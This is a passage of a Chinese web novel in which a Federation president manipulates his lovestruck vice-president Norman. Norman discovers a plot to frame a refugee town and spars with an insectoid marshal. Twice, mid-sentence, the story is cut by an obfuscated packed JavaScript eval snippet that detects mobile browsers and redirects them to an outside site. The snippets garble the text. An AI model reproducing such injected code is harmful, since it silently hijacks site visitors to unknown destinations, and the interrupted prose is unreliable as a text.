他缓缓地放慢了脚步,走到了诺尔曼面前,望着那个让他深爱,又让他感到警惕的对象,眼神里带上了审视的意味:“你还在埋怨我关你的紧闭?” 对方平稳淡漠的气息,因为他的靠近而条件反射地乱了起来:“并没有,你既然决定了,我还有反抗或埋怨的可能吗?” 里尔勾起了一抹微笑,听着诺尔曼逐渐加快的心跳,注视着他想要上前但又不敢上前的眼神,原先的那点不适顿时烟消云散,诺尔曼那张精致如神明亲吻过的脸庞,更是让他着迷不已。 他轻轻抬起诺尔曼的下巴,如同以前无数次做过的那般,调戏似的笑问:“好委屈……那,希望我奖励你什么好呢?” 对方的呼吸瞬间又急促了起来,康乃馨般浅淡的瞳色瞬间变成了玫瑰般炽烈的色彩,像是失去理智的凶兽,完全忘记了刚才讨论的国事。 戴着白手套的手指如同铁钳一般死死握住了里尔那只不老实的手腕,先前的那点委屈和不安瞬间被□□和占有欲所吞噬,像是饿了许久的烈犬一般:“你有什么补偿?” “补偿?”里尔挑眉,空着的另一只手在诺尔曼脑后攥住他的长发狠狠一抓,“松手,你弄疼我了。以及,这不是补偿,因为我没有做错事。只是对你前段时间帮助联邦度过危机的奖励。” 他轻佻的语调就像是小勾子一般,能让诺尔曼忘却了自己的身份,地位和过往,他的眼里只有这个人!只有里尔! “好,奖励。那你怎么奖励我?”发情的烈犬可不是一时半会可以满足的,里尔深深明白这个道理。他揽住诺尔曼的脖颈,先主动地吻了上去,立刻得到了对方如狼似虎般的回应。 在一片混乱之中,里尔的腰撞在了办公桌上,但他难得地没有一脚踹在那条不听话的狗身上,而是顺势垂下一只手,将办公桌上的那叠文件顺手丢进了垃圾桶,然后在小狼狗耳边低语:“回家吧。” 回家。这两个字让眼前的人呼吸又粗重了几分,他像是吃到了肉骨头,几乎要不顾颜面地流下涎液,抱起里尔就要往外走。 里尔舒舒服服地将自己的头靠在对方坚实的肩膀上,将那张满足而又慵懒的脸埋入了诺尔曼的怀中,让走廊上错愕注视着他们的人,只能看到诺尔曼兴奋到青筋暴起的手指和饿狼般的眼神。 “天哪,总统阁下怎么找了这么个疯子……也不知道今晚会被折腾成什么样,自己犯错关禁闭,还要迁怒总统。” “疯子,真是疯子!看在他上次扶助难民有功的份上,勉强能接受他吧。不过,这样的疯狗也就总统能驾驭了。” “同情总统阁下,也不知道这种疯狗会不会家暴总统。乔治森部长呢,他不是总统最好的朋友吗?能不能救一下啊!” “嘘,小声点,别被副总统听到了,他心眼特别小,还一直怀疑总统和乔治森部长有一腿……真是龌龊。” 虽然这些官员的声音很小,但对于精神力S级的诺尔曼来说,想要听见简直不费吹灰之力,只是他懒得揭穿而已。 横竖只要里尔知道自己的好就行,只要里尔爱自己,依赖自己就行,其他人的意见,与他何干? 他迈着大步,怀抱着他的全世界,走出了军部大楼,将里尔轻柔地放上了飞行器,飞向了他已经半个多月未曾踏入的——家。 “那些高官的家是家,我们普通百姓的家就不是家了?!”新一天的星网热搜上,这条质问被高高地挂起。 这些始终信任着里尔总统和他的政府的群众,怎么也没想到,前段时间卧病在床也要处理难民危机的总统,竟直接翻脸不认人,宣布将在一个月后取消补给站制度。 “开什么玩笑!当初说的永久设立难道是屁话吗!” “这话又不是我说的。”里尔舒适地靠在沙发上,两腿岔开一副潇洒的姿态。考虑到他已经在办公室满足了疯狗的欲望,也就没必要回家后再任由他折腾。 因此,到家后没过多久,诺尔曼就被他赶去和虫族接着谈判了,这枚棋子还是太难驾驭,能边缘化最好。 手指一条条划过民众的谩骂,他的眼神里却充斥着嘲讽和满不在乎:“这些民众懂什么?当初我被从元帅的位置上赶下来,他们也是这么骂我的,说我是叛国贼,联邦之耻。但事实上呢,没了我,能有如今合并了帝国的,强大的联邦?” “事实证明,国民的话并不可取,真理只掌握在少数人手中,精英政治才是最好的。”他端起床边,诺尔曼临走前泡好的咖啡,这咖啡豆来自财政部长的赠予,产地极其偏僻,一年不过也才寥寥几盒。 偏偏里尔这少爷身子,只能喝得惯这种咖啡。醇厚浓郁的豆子香气,搭配诺尔曼费劲心思买来的最新鲜的牛奶,让他不由自主发出一声喟叹。 然而,还没等他好好享受这个“处理了麻烦”的早晨,侍从就惊慌地敲响了他的房门:“阁下,大批的群众在政府门前聚众抗议!” “事已至此,我只能向各位坦白了,我们的战争从来没有结束,虫族随时有可能反扑,”当铺悬挂的投屏上,里尔的表情沉痛万分,“难道各位要看着我们的战士流下的鲜血功亏一篑吗?难道,要看着你们亡故的亲人们付出的姓名挥之一炬吗!” 台下的喊声渐渐平息了,投屏前的老人,神情却越来越凝重,像是吃了一盘放置了四五天的蚯蚓尸体。 “只有继续发展军工,我们才有希望彻底消灭虫族!”总统阁下的语调又激昂了起来,就像是他无数次煽动人心的演讲那样,“所以,现阶段的牺牲是必要的!” “当然了,这并不意味着我们会放弃救济联邦的难民,你们都是联邦不可或缺的一分子,我们也会采取相应的措施来确保难民的温饱……” “咔嚓”一声,投屏被切断了。克莱蒙斯将遥控器在柜台上狠狠一拍:“什么狗屁措施!不就是不救了吗!” 他转过头,看向坐在柜台另一侧的应柏桥和秦铮:他已经完全相信了这两个年轻人确实有“神力”,另一方面,他也被诺尔曼的无情冲击得久久无法平复心情。 谁能想到,曾经那个虽然说一不二,铁血冷酷,但从不会对平民出手的帝王,如今竟然因为里尔,那个畜生,差点将两条性命轻而易举地摧毁。 要不是这两人有些本事,怕是早就死在那了。 “还是怪我教导不周,让他变成了现在的模样,”克莱蒙斯又心痛又愧疚,“我很清楚,他那时眼里流露出的杀意,并非是为了国家考虑,而是出于对里尔的维护……” 但是,老人只沮丧了一会,就重新振奋了精神。他诚恳地看向应柏桥和秦铮:“我可以请你们帮我一个忙吗?” “虫族随时有可能反扑……”星河舰的会议室大屏上,里尔的话语在一人一虫面前回响,双方一时无言。 一只苍白的手按上了遥控器,将里尔那张愚蠢的大脸从屏幕上移开,克兰德的语调里难得地带了些愉悦的情绪:“制造战争恐慌情绪,从而缓解内政危机?诺尔曼副总统,这就是你们的谈判诚意?” 彼时,漫长的谈判总算接近了尾声,雌虫就像是好不容易抓住了对方把柄的猎手,恨不得将猎物折磨个半死再美美吃下。一向冰冷的眼睛,都带上了几分享用美餐的温度。 或许正是由于这场漫长的博弈终于迎来了尾声,向来严谨自持的金发雌虫也放松了些。他的头发不像往日那般梳成背头,连续几日近乎无眠的谈判,让他的额角翘起了一缕调皮的碎发,为其平添了几分少有的随性。 毕竟大部分的协议已经签署完毕,雌虫漫不经心地望着他的对手,现在也不过是耍耍嘴炮,削一削这个长毛“舔狗”的锐气。 没错,表面冷酷到近乎非人的元帅大人,实际上非常了解虫族,甚至人类的流行用语。这都是他常年浸淫在纯爱小说和纯爱短剧里的结果。 不过,说是长毛怪此番占了下风,想必他还是会通过各种诡辩的技巧把场面圆回来吧。克兰德垂下眼睛,他又觉得索然无味了。 能早点让长毛怪从自己的视线里消失,回去找雄主邀功领赏,他高兴还来不及,何必花这个时间与他多嘴。 然而,出乎他意料的是,对方沉默了许久。 长发青年的状态同样没有多好,光亮柔顺的长发已经变得毛躁,不过,无论是怎样的长相,在克兰德眼中都是同样地让人不爽。 终于,诺尔曼回答道:“里尔总统由于前段时间身体抱恙,说话有失分寸,但我保证,联邦没有与哈洛特王国开战的意思,联邦的国民始终向往着和平。” 金色的眼眸微抬,克兰德目光锐利地看向对面的男人。向来粗神经的元帅,这次却轻而易举地感知到了对方语气中的疲惫,甚至还有些许厌倦。 于是,本想结束这个话题,一走了之的雌虫,破天荒地又反击了一句,语气傲慢:“堂堂联邦总统,竟然连话都说不清楚。诺尔曼副总统,这难道是一句简单的道歉可以解决的?你将虫皇置于何地了。” 不料,诺尔曼语气淡淡地回复,虽然方才的气势弱了些,但克兰德一提到虫皇,他又恢复了牙尖嘴利的态度:“怎么,出门都要八个人抬轿的虫皇大人,竟已经柔弱至此了吗?这么玻璃心。” “呵呵,”金眸中闪过一丝被猎物冒犯的杀意,“我看里尔总统倒是也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171797|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不遑多让,还需要伴侣帮着收拾烂摊子。” “舔狗能当成你这样,也是难得啊,诺尔曼副总统。” 雌虫站起了身,收拾好文件,作势要离开。但在走过诺尔曼身边时停了下来,居高临下地看着对方,说出了这番话。 “嗯,至少比虫皇阁下三妻四妾,元帅大人头顶绿草茵茵要好得多。”诺尔曼阁下端坐在桌前,平静地答复。 出乎意料的是,向来一点就炸的克兰德,居然没有使用精神力攻击他。 雌虫听了这话,呼吸明显乱了几分。诺尔曼甚至不用抬头,都能感受到他那双喷火的眼睛恨不得把自己就地烧成灰。 但是,他没有任何攻击的行为,而是快速平复了一下心情,回答:“嗯,看来即使被冤枉,关了半个多月的紧闭,阁下还是一样地精神。” 经过几个月的谈判,他也和诺尔曼学会了言语回敬,阴阳怪气,主打一个杀人诛心。 这下轮到诺尔曼坐不住了,他站起身,比克兰德高了小半个头,借着身高的优势俯视对方,虽然嘴角还维持着假人般优雅的笑意,但微微蜷缩的手指已经说明了他的怒意。 “克兰德元帅什么时候也这么八卦了?”嘴角还保留着似笑非笑的表情,副总统阁下通身的气势却冷得像零下几十度的暴雪,和同样冰山的克兰德撞在一起,简直寒上加寒。 “只是例行公事罢了,阁下难道不看他国的新闻吗?”虽然身高矮了一头,但雌虫的气势丝毫不弱,冷淡地抬眼看向对方。 “呵,看啊,当然看,”诺尔曼盯着克兰德看了一会,随后哼笑一声,“不然怎么知道乔瓦尼陛下前几天和蒙特两兄弟,谈、生、意了呢?” “嘭!”雌虫终究是忍不了太久,一拳就要挥向诺尔曼,但在触及对方脸颊的前一秒,硬生生停下了。 “小、白、脸。”他一字一顿地回复,“别让我看到你再造谣虫皇陛下,否则下一次就不是拳头了。我的精神力可以直接把你勒死。” 被直直地挥了一拳,诺尔曼也不躲不闪,看见雌虫憋屈地收回了拳头,他眼底反而露出了和方才截然相反的愉快笑意。 他就知道,克兰德根本不可能对他下手。毕竟他那么在意雄主的名声,若是传出虫皇伴侣暴打联邦高官的新闻,那可就不好看了。 “那我倒是要感谢您的手下留情了,克兰德阁下。”话音刚落,雌虫的瞳孔就微微一缩。 在虫族,阁下这样的敬语是从来不会对雌虫使用的。而在联邦,人们也只习惯用这个词称呼本国的高官们。 浅粉色的嘴唇张了又合,想要说些什么,但又恼火地闭上了嘴。最终,元帅大人干脆什么也不说,抱着厚厚的文件离开了会议室。 只听见诺尔曼在他身后发出的一声轻笑。 “别在这嬉皮笑脸了!我为了这个国家出生入死的时候,你们在做什么!”联邦会议室里,里尔发出了震天撼地的怒吼。 他面前的长桌上摊着的,赫然是今早的日报,标题为“多位部长贪污被查,我们还能相信联邦多久?” 一把抓起报纸,在几个涉事的官员面前疯狂摇晃,里尔恨不得把这团报纸塞到这群蠢货嘴里:“一个个的,平时我睁一只眼闭一只眼就算了,现在情况如此紧急,我们的国防落后虫族一大截,你们还敢拿军费开玩笑?!” 里尔真的要崩溃了,前脚乔治森利用军工厂私造商品,后脚这群老废物又侵吞军费花天酒地,这会他倒是有点后悔惩罚诺尔曼了! 和这群蠢猪相比,诺尔曼好歹是挪用军费去扶贫,在舆论上至少无可指摘。面对这群噤若寒蝉,大气都不敢喘的下属,他仰头闭了闭眼睛,对远在太空的伴侣产生了前所未有地想念和眷恋。 说做就做,里尔挥去了下属,拨打了诺尔曼的私人电话。这个号码只有极少数人知晓,而诺尔曼从来不会让自己的电话落空。 “亲爱的,你忙完了吗?”电话那头的诺尔曼听见里尔的声音愣了一下,他已经很久没有听见这样温柔又缱绻的嗓音了。 语气不由自主地柔和了下来,几日的疲惫瞬间一扫而空,眉眼间的光彩灿烂得惊人:“嗯,刚刚开完会,待会回家给你做卡达尔珍珠配炙烤西里鱼好吗?我记得你想吃这道菜很久了,前两天内务部告诉我食材终于找到了。” 但电话那头的人却不领情,有些急切地说:“这些都不重要,既然开完了会,那就快点来我的办公室一趟,我有个任务要交给你。” “任务?”诺尔曼眼里闪过一片阴霾。说实话,上次的禁闭事件依然让他心存芥蒂。只是出于对爱人无条件的宽容和怜爱,他选择麻痹自己忘记这点苦楚。 这次要先和里尔说清楚,要我做任务可以,但是也要按照我的规矩来。而且,不能再让乔治森或者任何一个高层介入我的方案。他在心里下定决心。 然而,下一秒,他就把刚才对自己许下的诺言抛到了九霄云外。 “嗯,一个非你不可的任务。”里尔顿了顿,轻声补充了一句,“拜托了。”他很少用这样哀求又撒娇的语气说话。 一想到外表帅气潇洒的恋人,在自己面前如此……诺尔曼的喉结滚动了一下,说不出任何拒绝的话。 他就像被蜂蜜灌醉的蝴蝶,心甘情愿地再次坠入了这张稍微花点心思便能织就的大网中,无法自拔。 16. 联邦线:诺尔曼微服私访 在诺尔曼的雷霆手腕下,星网的热搜很快被撤了下来,官方发布严正声明称,将会调查涉事官员,绝不会容忍腐败滋生。同时,里尔总统也再次出面,表达了自己的愤怒和沉痛心情。 这样一套动作下来,虽然政府公信力还是跌了不少,但总算维持在了较为安全的水平。 然而,诺尔曼却在这时收到了一封故人的来信。 “二位,我还是不想放弃说服陛下,”克莱蒙斯语气郑重,老人虽然饱经沧桑,甚至才经历了亲学生的打击,但丝毫不见疲态,“你们能帮我给陛下递信吗,我有件事还没来得及告诉他。” “关于前段时间他去考察过的补给站,”克莱蒙斯有些不忍地转过头,“据我所知,里尔似乎暗地里准备拿它开刀,制造叛乱小镇不知悔改的舆论,趁机撤掉补给站。” 对面的青年眼神闪烁了几下,只有他和秦铮知道,那座小镇是系统利用最顶尖的技术模拟出来的。在联邦的所有人眼中,这座叛乱小镇,包括里面的平民,都是真实存在的。 不过,这并不妨碍青年顺着老人的话往下说:“所以,您是想告诉诺尔曼副总统这件事,揭穿里尔的真面目?” “如果仅仅是这样,恕我无法帮忙。”应柏桥遗憾地摇了摇头。诺尔曼需要的是更强烈的冲击,况且按照上次见面的情况,即使告知了实情,对方也未必会相信。 他的余光扫到了一旁的秦铮,却发现对方正盯着天花板上垂下的一条吊坠,看得入神。 吊坠有些神似地球的波西米亚风格,由零星几颗彩色的串珠点缀,项链的中心是一枚色泽温润的绿松石,和一颗成色极好的红玛瑙。 吸引秦铮的,正是那枚红色的玛瑙,石头的阳光下呈现出流动感的光泽,像是一曲律动清脆的旋律,让人不禁沉迷其中。 铮铮喜欢的,是这种风格吗?收回目光,应柏桥重新将视线转移到谈话对象身上:克莱蒙斯虽然表面上冷静了下来,但还是过分急躁了,即使他能理解对方“为人师”,甚至“为人父”的心理。 正思忖着,准备开口再次引导老人,应柏桥的小臂突然被人轻轻碰了一下,他一愣,原先坐在角落独自欣赏项链的秦铮,这会不声不响地凑到了柜台前。 “你这条项链,卖吗?” 秦铮语气清冷,虽然三人一起经历了“生死局”,但他对这个冲动的老人还是心存芥蒂。毕竟,对方第一次见面,就不分青红皂白地去抓应柏桥的衣领。 应柏桥和克莱蒙斯的思路同时被打断了,两人齐齐朝着秦铮看去。克莱蒙斯是惊讶本事赛神仙的两个人,居然也会看上他这的东西,而应柏桥则是诧异看上去物欲不强的秦铮,居然也会主动提出要买什么。 看来,还是不够敞开心扉啊。手指情不自禁地摩挲了两下,像是在提醒自己。作为搭档,这样的亲密程度还是不够,默契度也有待培养,完美主义的应柏桥眼神幽深了几分。 “不用花钱,真要说价格的话,你们帮我送信就行。”克莱蒙斯虽然遇到诺尔曼的事情会不理智,但平日里还是精得很,顺势提出了要求。 “好……”秦铮毫不犹豫地答应下来,但突然想到什么似的,飞快地扫了应柏桥一眼,“但我要和搭档商量一下。” 搭档单手托腮,正满含笑意地望着他,显然,他明白秦铮在犹豫什么。这个长发青年似乎有一种魔力,让他上一秒还在反思自己,这一秒又愉悦了起来。 至少,最初的那句“不要单独行动”,秦铮真的记在了心里。 “寄信没有问题,但需要您换换方式。”右手在秦铮的手背上轻拍了两下,“您先把项链给铮铮拿过来,我再告诉您怎么做。” “毕竟,某人已经眼馋很久了。”小动物没有缩回手,乖乖接受了应柏桥的接触。甚至,在青年说出“某人”两个字时,手背明显紧绷了一下。 克莱蒙斯一边解下吊坠,一边琢磨那句“换方式”,突然,他灵光一现:“您的意思是,让陛下亲自去发掘真相?” “嗯,”应柏桥专心看着秦铮接过吊坠,回答老人的话,“毕竟,您都能查到的事,我们的副总统阁下想必一眼就能看出吧。” “那我现在就写信告诉他!里尔派去的使者这几天一直停留在镇上,现在正式抓他的好时机!”克莱蒙斯匆匆掀起卷帘,走进了柜台后面的暗室。 应柏桥也没有拦他,因为他现在没法抽身。 冰凉的触感从脖颈上传来,克莱蒙斯每日都会细心擦拭和保养这些珠宝首饰,因此项链完全可以直接佩戴。 “这不是你喜欢的吗,给我做什么?”青年抬起眼眸看向秦铮,原本略微下垂的细长眼尾,配上色彩艳丽的项链,竟显得更有迷惑性了。 秦铮像是看呆了一样,甚至忘记了呼吸,停顿了两秒才恢复正常,和应柏桥重新拉开安全距离,眼睛却无法转开:“不,只是觉得你的衣服,和这条项链很配。” 衣服?应柏桥一怔,随即反应过来,他看向自己夹克里的衬衫,左上方有一个大写的红色“A”字标志。 “嗯,就是这个。”秦铮伸手碰了下应柏桥的胸口,和那个代表应柏桥英文名首字母的“A”一触即分。 红色,很适合应柏桥。既可以张扬,也可以沉稳的颜色。 “扑哧——”正当秦铮暗自满意自己的眼光时,面前的青年却笑出了声,令他疑惑地抬起头。 只见应柏桥又将项链取了下来,戴在了秦铮的脖子上,配上米白色的衬衫很是合适,给青年平添了几分生动的色彩。 可是秦铮却并不高兴,对方在笑什么? 他的声音低沉了几分:“你不喜欢吗?” 然而,下一秒,应柏桥就撩起了那枚项链上的红玛瑙。 手指捏住那枚吊坠在秦铮面前晃了晃:“这样,我们身上都有红色了。” “也算是一个团队的标志了,对不对?”他的声音里完全没有嘲弄或玩笑的意思,“项链我很喜欢,但我更想看你戴。” 秦铮的目光滴溜溜地跟着应柏桥的手指转动,最后,从对方手里接过了那枚玛瑙,仔细地看了看,再抬起头时,已经看不见方才的委屈了:“嗯,好。” “而且铮铮,”应柏桥无奈地扯了两下胸前的领带,展示给他看,“我已经戴领带了,再戴项链也不合适呀。” 不料,对方却歪了歪头:“领带,不可以和项链一起戴吗?” 看着他澄澈真诚的目光,应柏桥那句“不可以”怎么也说不出口,最后无奈地扶额:“只能说这条项链确实不太合适,或许回到了现实世界,我们可以去看看别的……” “虽然以我的身份向您要求这些不太合适,但我恳请您看在联邦和帝国子民的份上,再去见叛乱区的居民一次。” 信件到这就结束了。这封信是今早悄无声息出现在总统办公室的,来自克莱蒙斯。想必又是那两个神秘人帮的忙。 但向来谨慎的诺尔曼,在看到克莱蒙斯的落款时,还是忍不住心软了一下,没有将这封来路不明的信件送检,便直接拆开了它。 出于多年和帝国联邦两边的官员斡旋练就的敏锐度,他在拆信时直觉信件的主人并不会害他。 果不其然,这只是一封平平无奇的叙旧信。克莱蒙斯像是陷入了什么回忆的美梦中,一个劲地怀念自己从政执政期间的各项成就,还有下台之后帝国子民的情况。 他说帝国和联邦虽然已经合并,但前帝国的百姓还是会多少受到歧视和冷待,这次难民危机中,绝大多数受苦的,也是前帝国的人民。 老人细腻的笔触和絮絮叨叨的话语,像是细细流淌的温泉水一般,渗透到诺尔曼坚不可摧的内心中,极其细小的裂缝里。 冷了太久的心碰到温水,一下子竟然有些受不了。诺尔曼冷着脸,正欲放下信件,将之扔进垃圾桶。 却不想,老人犹如神算一般,直接收尾了:请求您再去一次叛乱区吧。 “您就这么肯定,诺尔曼会去吗?”应柏桥和秦铮百无聊赖地待在老人的小店里,其实任务进行到这,他们该做的也差不多做完了,剩下的全靠诺尔曼自己觉醒。 只不过是觉醒快慢的问题罢了。 “会的,”老人平静地擦拭着柜台里的钻石手表,但手指还因为写信时激动的情绪,隐隐颤抖。 “他见到我时,并非没有波动。” “尤其是我提到称帝时,他的眼里,有那么一瞬间,闪过了一丝曾经的野心火光。”老人扬起头,眼睛被店门口照进来的夕阳光线刺得发酸,一层水光蒙了上来,他低下头,却有些看不清手里的物件。 与此同时,一双步行短靴,时隔多日再次踏上了荒凉之地。 “请坐吧,总统阁下……”老人用瘦骨嶙峋的手端来了一杯茶,诺尔曼本想推拒,但难抵对方的热情,只得接下。 他轻轻啜饮了一口,茶水味道很淡,几乎尝不出味道,还有些许涩味。但这已经是老人能拿出的最好待遇了。 一踏进小镇,拖着一麻袋砖头经过的老人就认出了他,坚持要请他到家里坐坐,诺尔曼想着自己此番前来本就没什么目的,再加上老人看上去并无攻击性,便跟他走了。 “谢谢您的茶,”诺尔曼放下茶杯,不着痕迹地打量了一圈眼前的小屋,“不过,我不是总统,只是总统的代理人。” 他敏锐地注意到,小屋的一角隐隐透出了微光,很显然是砖块承受不住风吹日晒,已经碎了。老人拖回家的那袋砖头,估计就是用来修补的。 但……诺尔曼的目光重新落回了老人身上,对方的脊背佝偻,刚才端茶时手也略微不稳。 不过半日,戴着破布手套的手指毫不介意地擦去额头的汗水,联邦的天气阴晴不定,热起来能要人命。诺尔曼放下手里的工具,接过老人递来的热水。 有股泥土味,但他并不在意。 “太感谢您了,”老人诚惶诚恐地接过他手里的工具,拿过一条已经发白,但洗得很干净的毛巾,搭在了诺尔曼的后颈。 诺尔曼喝水的手停了下来。他对于陌生人的接近向来不适,更别提贴身衣物的触碰了。 但他什么都没说,只是一声不吭地再次将杯子举到嘴边,喝干了水。随后,站起身,对老人说了句:“我就是来附近看看,若是没有什么事,我便先走了。” 顿了顿,又接着说:“这条毛巾,我走之前会还给您。” 怎料,他的形象在老人心中已经完全变成了圣人,对方说什么都要留他吃一顿便饭,说是补给站开了之后,家里情况好了很多,他攒下来不少钱,正好够买块肉吃,不用再喝酸不拉唧的营养液。 正推拒着,诺尔曼的余光突然瞟到了窗外一个戴着兜帽的人,对方眼神躲闪,对着村民和村口的补给站不停拍照。 “那您做好饭等我一会行吗,”诺尔曼拉开老人的手,力道很轻,语气放缓了些,“我有点急事要处理。” “啪!”诺尔曼将鬼鬼祟祟的男人一把拖进了暗巷,夺下对方的相机和光脑,语气阴沉,神色冷厉:“谁派你来的?你的上级是谁?” 手指毫不客气地扯开对方的帽子,把衣领一翻,诺尔曼的眼神又幽暗了几分:是乔治森自卫队的标志。 不过,他并没有直说,而是往不停挣扎的男人膝窝踹了一脚,让对方直接面对墙壁直直地跪了下去,然后不动声色地问:“政府办事居然也这么粗糙,怎么把你这种废物叫来了?” 男人愤怒地抬起头,不顾一切地想要去抢回相机,但被诺尔曼再次一靴子踩老实了。 “呃……!”对方发出了一声闷哼,表情痛苦。 诺尔曼也懒得和他绕圈子,将靴子在他的头上来回碾压了两下,让对方老实待着,随后打开相机扫了眼:确实都是村民的照片,但这些村民的表情可称不上友好,有的是男人大吼吵架的模样,有的是妇女责骂孩子的模样。 但由于照片没有拍全,因此只能看见一个个发怒到扭曲的人像,若是不熟悉的人看到,恐怕会以为这个小镇是什么修罗地狱。他一张张地翻过去…… 然而,下一张照片让手指停顿了下来。 那是一张补给站的照片,拍摄时间是前几日。画面里,几个男人表情狰狞地拖着巨大的袋子往补给站走,表情看上去像是要打人般咬牙切齿。 但诺尔曼很清楚,这几个人只是帮助补给站搬运货品的热心民众,表情之所以扭曲,也是物品太重的缘故,根本不像照片拍的那样,一副想挑事,甚至炸掉补给站的模样。 炸补给站?他突然想到了什么,再次用鞋跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171798|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人背上狠狠碾过,让对方直接惨叫出声。 “我已经知道你们要做什么了,”一张证件出现在兜帽男眼前,“我是政府内部人员,把你的上司,上司的上司和你们的计划全部告诉我。” “否则,”长发男人的声音如同撒旦一般回响在男子耳边,“你应该知道,我可以很轻松地查出你的家人,朋友,孩子……” “我、我说!”男人立刻慌了阵脚,“是,是乔治森部长让我做的,但他上面还有人,具体是谁我不清楚,但一定是比他还高的官员!” 蠢货。 乔治森的顶头上司还有谁,除了副总统,不就是…… 诺尔曼眼神一利:“你说的都是真的?把你们的计划说全。” “都是为了拆除补给站的政策……”男人老老实实地交代了起来。然而,诺尔曼只留了半个心眼听他的叙述,他的思绪全都跑到了千里外的联邦总统府。 里尔也参与了这场计划?为了保全名誉牺牲他热爱的子民? 他的嘴唇紧紧抿起,表面看着还算平静,内心已经翻起了惊涛骇浪。这怎么可能!里尔,陷害平民? “总之就是这样,我说的全是真的。”男人可怜兮兮的求饶声恰好响了起来,像是在印证诺尔曼的猜想,告诉他:别怀疑了,就是真的。 里尔真的,背叛了他曾经的信仰。 “我怎么会背叛我的信仰呢,乔治森。”当几天前,乔治森犹豫地向里尔提出这个方案,并且表示可能会有些激进时,里尔嗤笑着回答。 “在我看来,这个方案是再好不过了。曾经我年少无力,被推下神坛,如今我已经成为了这个国家的最高统治者,精神领袖,”他神情带着自满地癫狂,“顺我者昌,逆我者亡。” “这群叛乱者本就该死,乔治森,”他居高临下地看着半跪在桌前谢罪的兄弟,“站起来吧,我很满意你这个方案,并不打算怪罪你。” “只能说,我的信仰,并不允许我保护这些背叛我的人。” 他的目光望向了远处,像是陷入了沉思:“没错,爱人先爱己,爱民先爱己。如果不能保护好自己,又如何治理这个国家?” “治理如此庞大的一个国家,靠里尔一个人真的可以吗?”诺尔曼一边缓慢咀嚼着米饭,一边陷入了沉思。 一旁的老人看着他乖巧地坐在矮桌前的小板凳上,蜷缩双腿,一声不吭吃饭的模样,突然涌起了几分父亲般的怜惜。 “来,再吃块肉,”老人趁着诺尔曼放下碗的当口,忙不迭夹起一块肥瘦相间的红烧肉到他碗里,“看你都瘦成什么样了。” 诺尔曼本能地皱了皱眉,但筷子触及这块精心烹制,焖了几个小时的,珍贵的五花肉时,他还是没有一丝犹豫地夹起来吃了。 “哎!这才对嘛,你太瘦了,看这下巴都脱相了快……”老人在他耳边碎碎地念叨着,即使他本人也瘦得只剩下了皮包骨。诺尔曼也不吭声,只闷头嚼着白米饭,听他的声声叮咛和嘱咐。 突然,老人的声音戛然而止。 一块比刚才更大,更肥美的肉被夹到了他的碗中,长发青年无奈地看着他:“您也快吃吧,再说饭都要凉了。” 这带着些许亲近的语气,让老人情不自禁地开口:“副总统阁下,您真像我家那小子。” 扒饭的手停了下来,诺尔曼并无任何被冒犯的感受,反而意识到什么似的,放下了碗筷,做出了倾听的姿态。 “我的儿子十年前就在和帝国的战争中牺牲了,他生前也时常说我唠叨,”老人的脸上露出了怀念的笑意,“就和你刚才一样。” 听到“帝国”二字,诺尔曼怔了怔,但他没有打断老人的叙述,也没有坦白自己从前的身份。只是垂下了眼睛,轻轻嗯了一声,回应了一句:“节哀。” 但下一秒,老人粗糙的掌心直接覆上了他的手背,对方赤诚的模样让诺尔曼定在了原地,没有抽回手。 “我知道你是前帝国人,”老人的眼神恳切而又富有力量,“但我还是忍不住心疼你,孩子。你看上去有些太累了,简直和我的孩子被送到军区医院时一样,痛苦到了极致,反而变得麻木,甚至失去了求生的欲望。” “只不过,他是痛在身体,而你则是心上被开了个大口子,血流不止。” 心疼的眼神犹如实质一般,凝结成滚烫的岩浆,被硬生生灌进了裂口中,诺尔曼的喉结不自觉滚了滚,他想要老人别再说下去,但久违的关心又让他开不了这个口。 夕阳西下,诺尔曼单手拖着宛如死狗一般的兜帽男走出了小镇。 耳边还回响着老人最后的话语:“好好对待自己,孩子。你上次来时,我也在现场,请相信我,镇民们都完全被你折服了,每个人都情不自禁地爱戴你,敬重你。” “当你烦恼时,请想想这个世界上至少还有一个小镇的人,会无条件地相信你,你甚至可以把我们当作家人。” 家人……吗? 正这么想着,光脑如同感应到他的想法似的震动了起来。 然而,看到信息的瞬间,诺尔曼挑了挑眉。 虫族的消息怎么推到他这来了,还是短剧? 一行大字赫然出现在光脑上,剧名之庸俗草率,甚至让人难以置信这是虫族热搜第一的大烫剧:《霸道军雌爱上我》再次出圈!克兰德元帅倾情推荐! 嗯?那个冷面舔狗还会看短剧?诺尔曼将凌乱的心情搁置在一旁,也将兜帽男随手礽在地上,一脚踩住,随后点开了新闻详情。 嘲笑克兰德的机会怎么能错过呢?他的嘴角扬起了今天第一个微笑。不过,新闻倒是和他想的一样,夸张了情况,实际上克兰德只是默默将打赏投到了前十,很高冷地一句话也没说。 不过,这个冷脸居然也会看短剧,这点还是让诺尔曼有些新奇。他反手一个转发,将新闻传给了“暴躁金毛犬”。 不多时,对方就回复了。 一句很符合克兰德性格的冷冷回答:“联邦报社诽谤虫族高官,副总统阁下不但不管,还在这看乐子?” “扑哧——”看乐子的人颇为事不关己地笑出了声,他将光脑收了起来,正了正脸色,朝着日落的方向走去。 与此同时,远在虫族的克兰德元帅,捏碎了他的第二个光脑。 17. 虫族线:乔瓦尼小小破防 